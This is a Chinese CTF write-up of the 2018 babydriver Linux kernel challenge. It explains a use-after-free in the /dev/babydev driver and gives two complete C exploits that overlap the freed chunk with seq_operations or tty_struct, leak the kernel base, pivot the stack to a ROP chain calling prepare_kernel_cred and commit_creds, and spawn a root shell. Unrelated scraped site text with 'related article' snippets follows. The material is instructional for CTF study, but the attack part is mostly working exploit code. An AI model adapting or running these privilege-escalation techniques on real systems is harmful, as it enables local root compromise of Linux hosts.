ncstisc-2018-babydriver:UAF

启动脚本

#! /bin/sh
qemu-system-x86_64 \-initrd rootfs.cpio \-kernel bzImage \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null \-m 64M --nographic  \-smp cores=1,threads=1 -cpu kvm64,+smep

只可开启了smep保护

题目信息

babyopen

在这里插入图片描述
每次open(驱动名称),都会为babydev_struct.device_buf全局变量分配0x40大小的堆空间

babyrelease

在这里插入图片描述
关闭close(驱动文件描述符),会通过kfree()释放掉申请的堆空间,但是这里有个问题,没有将babydev_struct.device_buf置NULL

这里便存在一个问题,当连续两次打开驱动时,fd1,fd2 babydev_struct.device_buf 指向的是同一个堆空间

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);

当close(fd1),由于没将babydev_struct.device_buf置NULL,导致fd2可以继续读写babydev_struct.device_buf指向的堆空间,UAF形成

babyioctl

这里,可能题目还是怕选手觉得难,可以让选手创建任意大小的UAF
在这里插入图片描述

利用方式

下面两种都用方式大致相同

  • 通过babyopen,babyopen让两个文件描述符fd1,fd2指向同一个babydev_struct.device_buf
  • babyioctl,command==0x10001,调整babydev_struct.device_buf指向的堆为自己期望的大小
  • close(fd1); (babydev_struct.device_buf指向的堆被kfree)
  • 用户层调用,使产生合适的堆结构占据被释放掉的堆
  • 读这个堆结构,可以获取其中包含的内核函数地址,经过简单计算可以获取内核基地址
  • 写这个堆结构,覆写里面的函数指针保存的地址使得在用户态操作时,可以触发函数指针执行
  • 由于存在smep保护,一般被覆写里面的函数指针为一个栈迁移rop,然后在用户态布置rop提权

UAF seq_operations

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>// commands
#define DEV_PATH "/dev/babydev" // the path the device is placed// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
// (END globals)// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void *)0
#define errExit(msg)    \do                    \{                     \perror(msg);        \exit(EXIT_FAILURE); \} while (0)
#define KMALLOC(qid, msgbuf, N)                                     \for (int ix = 0; ix != N; ++ix)                                   \{                                                                 \if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \errExit("KMALLOC");                                           \}
ulong user_cs, user_ss, user_sp, user_rflags;void NIRUGIRI(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}
// should compile with -masm=intel
static void save_state(void)
{asm("movq %0, %%cs\n""movq %1, %%ss\n""movq %2, %%rsp\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}static void shellcode(void)
{asm("xor rdi, rdi\n""mov rbx, QWORD PTR [rsp+0x50]\n""sub rbx, 0x244566\n""mov rcx, rbx\n""call rcx\n""mov rdi, rax\n""sub rbx, 0x470\n""call rbx\n""add rsp, 0x20\n""pop rbx\n""pop r12\n""pop r13\n""pop r14\n""pop r15\n""pop rbp\n""ret\n");
}
// (END utils)/******* babydev ****************/
#define INF 1 << 31
size_t current_size = INF;int _open()
{int _fd = open(DEV_PATH, O_RDWR);assert(_fd > 0);current_size = 0x40;return _fd;
}void _write(int fd, char *buf, size_t size)
{assert(size < current_size);assert(write(fd, buf, size) >= 0);
}void _realloc(int fd, size_t size)
{assert(ioctl(fd, 0x10001, size) == 0);current_size = size;
}void _close(int fd)
{assert(close(fd) >= 0);
}void _read(int fd, char *buf, size_t size)
{assert(size < current_size);assert(read(fd, buf, size) > 0);
}
/******* (END babydev) *************//*** gadgets ***/
/*
0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret  ;  (1 found)
0xffffffff81018062: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
0xffffffff810a1810 T prepare_kernel_cred
0xffffffff810a1420 T commit_creds
0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret  ;  (32 found)
0xffffffff8181a797:       48 cf                   iretq
0xffffffff8100700c: pop rcx ; ret  ;  (25 found)0xffffffff81063694:       0f 01 f8                swapgs
0xffffffff81063697:       5d                      pop    rbp
0xffffffff81063698:       c3                      ret*/void gen_chain(ulong *a, const ulong kernbase)
{scu pop_rdi = 0x3e7d9d;scu prepare_kernel_cred = 0x0a1810;scu rax2rdi_rep_pop_rbp = 0x018062;scu pop_rcx = 0x00700c;scu commit_creds = 0x0a1420;scu swapgs_pop_rbp = 0x063694;scu iretq = 0x81a797;save_state();*a++ = pop_rdi + kernbase;*a++ = 0;*a++ = prepare_kernel_cred + kernbase;*a++ = pop_rcx + kernbase;*a++ = 0;*a++ = rax2rdi_rep_pop_rbp + kernbase;*a++ = 0;*a++ = commit_creds + kernbase;*a++ = swapgs_pop_rbp + kernbase;*a++ = 0;*a++ = iretq + kernbase;*a++ = &NIRUGIRI;*a++ = user_cs;*a++ = user_rflags;*a++ = user_sp;*a++ = user_ss;*a++ = 0xdeadbeef; // unreachable
}/************ MAIN ****************/int main(int argc, char *argv[])
{char buf[0x2000];int fd[0x10];int statfd;// 1、UAFfd[0] = _open();fd[1] = _open();_realloc(fd[0], 0x20);  // kmalloc 0x20的UAF_close(fd[0]);// 2、leak kernbase 获取 kernel basestatfd = open("/proc/self/stat", O_RDONLY); // 产生一个 seq_operations 结构体assert(statfd > 0);_read(fd[1], buf, 0x10); // 读取 seq_operations结构体const ulong single_start = ((ulong *)buf)[0];const ulong kernbase = single_start - 0x22f4d0UL;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// 3、prepare chain and get RIP 当前环境smep,no-smapconst ulong gadstack = 0x5DFFFA88; // mov esp, 0x5DFFFA88,目的是通过栈迁移,跳转到这个地址执行// mmap申请的地址需要页对齐const char *maddr = mmap(gadstack & ~0xFFF, 4 * PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);const ulong **chain = maddr + (gadstack & 0xFFF);// 在栈迁移后的地址上,布置提权代码gen_chain(chain, kernbase);((ulong *)buf)[0] = kernbase + 0x0eefd0; // 0xffffffff810eefd0 mov esp, 0x5DFFFA88 ; ret  ;_write(fd[1], buf, 0x8);                 // 修改 seq_operations结构体 中的 start指针// NIRUGIRIread(statfd, buf, 1); // 触发 start指针return 0;
}/*
cdev: 0xffffffffc0002460
fops: 0xffffffffc0002000
kmem_cache_alloc_trace: 0xffffffff811ea180
babyopen: 0xffffffffc0000030
babyioctl: 0xffffffffc0000080
babywrite: 0xffffffffc00000f0
kmalloc-64: 0xffff880002801b00
kmalloc-64's cpu_slub: 0x19e80
babydev_struct: 0xffffffffc00024d0
*/

UAF tty_operations

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));__asm__("pushfq");__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}unsigned long pivot_gadget = 0xffffffff814f5359;    // 0xffffffff814f5359: mov esp, 0x01740100 ; ret  ;  (1 found)
unsigned long pop_rdi = 0xffffffff810d238d;         // 0xffffffff810d238d: pop rdi ; ret  ;  (58 found)
unsigned long mov_rdi_rax_call_rdx_pop_rbp = 0xffffffff8180c4a2; // 0xffffffff8180c4a2: mov rdi, rax ; call rdx ;  (1 found)
unsigned long pop_rdx = 0xffffffff8144d302;         // 0xffffffff8144d302: pop rdx ; ret  ;  (1 found)
unsigned long prepare_kernel_cred = 0xffffffff810a1810;    // ffffffff810a1810 T prepare_kernel_cred
unsigned long commit_creds = 0xffffffff810a1420;    // ffffffff810a1420 T commit_creds
unsigned long iretq = 0xffffffff8181a797;
unsigned long swapgs_pop_rbp = 0xffffffff81063694; // 0xffffffff81063694: swapgs  ; pop rbp ; ret  ;  (1 found)int fd, fd2;
unsigned long fake_tty_operations[0x100/8];
unsigned long fake_file[0x100/8];
unsigned long orig_file[0x100/8];void shell(void) {write(fd, orig_file, 0x100-1);char *args[] = {"/bin/sh", 0};execve("/bin/sh", args, 0);
}int main(void) {int fds[0x100];char buf[0x100];unsigned long *fake_stack;save_state();fake_stack = mmap(0x01740000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);fake_stack += (0x8100/8);*fake_stack++ = pop_rdi;*fake_stack++ = 0;*fake_stack++ = prepare_kernel_cred;*fake_stack++ = pop_rdx;*fake_stack++ = commit_creds + 6;*fake_stack++ = mov_rdi_rax_call_rdx_pop_rbp;*fake_stack++ = swapgs_pop_rbp;*fake_stack++ = 0xdeadbeef;*fake_stack++ = iretq;*fake_stack++ = (unsigned long)&shell;*fake_stack++ = user_cs;*fake_stack++ = user_rflags;*fake_stack++ = 0x01740000;*fake_stack++ = user_ss;puts("open twice /dev/babydev");fd = open("/dev/babydev", O_RDWR);fd2 = open("/dev/babydev", O_RDWR);if (fd < 0 || fd2 < 0) {puts("open error");exit(1);}puts("call kmalloc(256)");ioctl(fd, 0x10001, 256);puts("overlap tty_struct with freed chunk");close(fd2);for (int i=0; i<0x100; i++) {fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);}puts("cause UAF");read(fd, fake_file, 0x100-1);memcpy(orig_file, fake_file, 0x100);fake_tty_operations[8] = pivot_gadget;fake_file[5] = &fake_tty_operations;write(fd, fake_file, 0x100-1);puts("trigger tty->ops->ioctl");for (int i=0; i<0x100; i++) {ioctl(fds[i], 0xdeadbeef, 0xbeefbabe);close(fds[i]);}while(1) {}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/462788.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

学习通考试怎么搜题找答案? #学习方法#微信#其他

大学生必备的做题、搜题神器&#xff0c;收录上万本教材辅助书籍&#xff0c;像什么高数、物理、计算机、外语等都有&#xff0c;资源十分丰富。 1.菜鸟教程 菜鸟教程是一个完全免费的编程学习软件。 它免费提供了HTML / CSS 、JavaScript 、服务端、移动端、XML 教程、http…

Android:Volley框架使用

3.15 Volley框架使用 Volley框架主要作为网络请求,图片加载工具。当应用数据量小、网络请求频繁,可以使用Volley框架。 框架Github地址:https://github.com/google/volley Volley框架的简单使用,创建项目Pro_VolleyDemo。将Github上下载Volley框架源代码,volley-master.zi…

Webshell一句话木马

一、webshell介绍&#xff08;网页木马&#xff09; 分类&#xff1a; 大马&#xff1a;体积大、隐蔽性差、功能多 小马&#xff1a;体积小&#xff0c;隐蔽强&#xff0c;功能少 一句话木马&#xff1a;代码简短&#xff0c;灵活多样 二、一句话木马&#xff1a; &#xff1a;…

12 ABC串口接收原理与思路

1. 串口接收原理 基本原理&#xff1a;通过数据起始位判断要是否要开始接收的数据&#xff0c;通过采样的方式确定每一位数据是0还是1。 如何判断数据起始位到来&#xff1a;通过边沿检测电路检测起始信号的下降沿 如何采样&#xff1a;一位数据采多次&#xff0c;统计得到高…

【漏洞复现】狮子鱼CMS某SQL注入漏洞

Nx01 产品简介 狮子鱼CMS&#xff08;Content Management System&#xff09;是一种网站管理系统&#xff0c;它旨在帮助用户更轻松地创建和管理网站。该系统拥有用户友好的界面和丰富的功能&#xff0c;包括页面管理、博客、新闻、产品展示等。通过简单直观的管理界面&#xf…

【EAI 011】SayCan: Grounding Language in Robotic Affordances

论文标题&#xff1a;Do As I Can, Not As I Say: Grounding Language in Robotic Affordances 论文作者&#xff1a;Michael Ahn, Anthony Brohan, Noah Brown, Yevgen Chebotar, Omar Cortes, Byron David, Chelsea Finn, Chuyuan Fu, Keerthana Gopalakrishnan, Karol Hausm…

【教学类-46-06】福字门贴1.0(五款空心字体)

背景需求&#xff1a; 前期使用五款字体制作了吉祥字门贴的设计&#xff0c;在掌握五款空心字在15*15CM手工纸内最适合的大小结构后&#xff0c;则需要制作“五款福字”——用统一个文本框模板&#xff0c;写入不同空心字体的“福字” 链接5个 【教学类-46-01】吉祥字门贴1.0&…

小巨人大爆发:紧凑型大型语言模型效率之谜揭晓!

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

生成式人工智能攻击的一年:2024

趋势科技最近公布了其关于预期最危险威胁的年度研究数据。生成人工智能的广泛可用性和质量将是网络钓鱼攻击和策略发生巨大变化的主要原因。 趋势科技宣布推出“关键可扩展性”&#xff0c;这是著名年度研究的新版本&#xff0c;该研究分析了安全形势并提出了全年将肆虐的网络…

UDP 用户数据报协议

目录 1 UDP 1.1 UDP 的主要特点 1.1.1 UDP 是面向报文的 1.1.2 UDP 通信和端口号的关系 1.2 UDP 的首部格式 1.2.1 UDP 基于端口的分用 1.3 UDP抓包 1 UDP UDP 只在 IP 的数据报服务之上增加了一些功能&#xff1a; 1.复用和分用 2.差错检测 1.1 UDP 的主要特点 1.无连…

MySQL数据库基础第四篇(多表查询与事务)

文章目录 一、多表关系二、多表查询三、内连接查询四、外连接查询五、自连接查询六、联合查询 union, union all七、子查询1.标量子查询2.列子查询3.行子查询4.表子查询 八、事务八、事务的四大特性九、并发事务问题十、事务隔离级级别 在这篇文章中&#xff0c;我们将深入探讨…

牛客网SQL进阶114:更新记录

官网链接&#xff1a; 更新记录&#xff08;二&#xff09;_牛客题霸_牛客网现有一张试卷作答记录表exam_record&#xff0c;其中包含多年来的用户作答试卷记录&#xff0c;结构如下表。题目来自【牛客题霸】https://www.nowcoder.com/practice/0c2e81c6b62e4a0f848fa7693291d…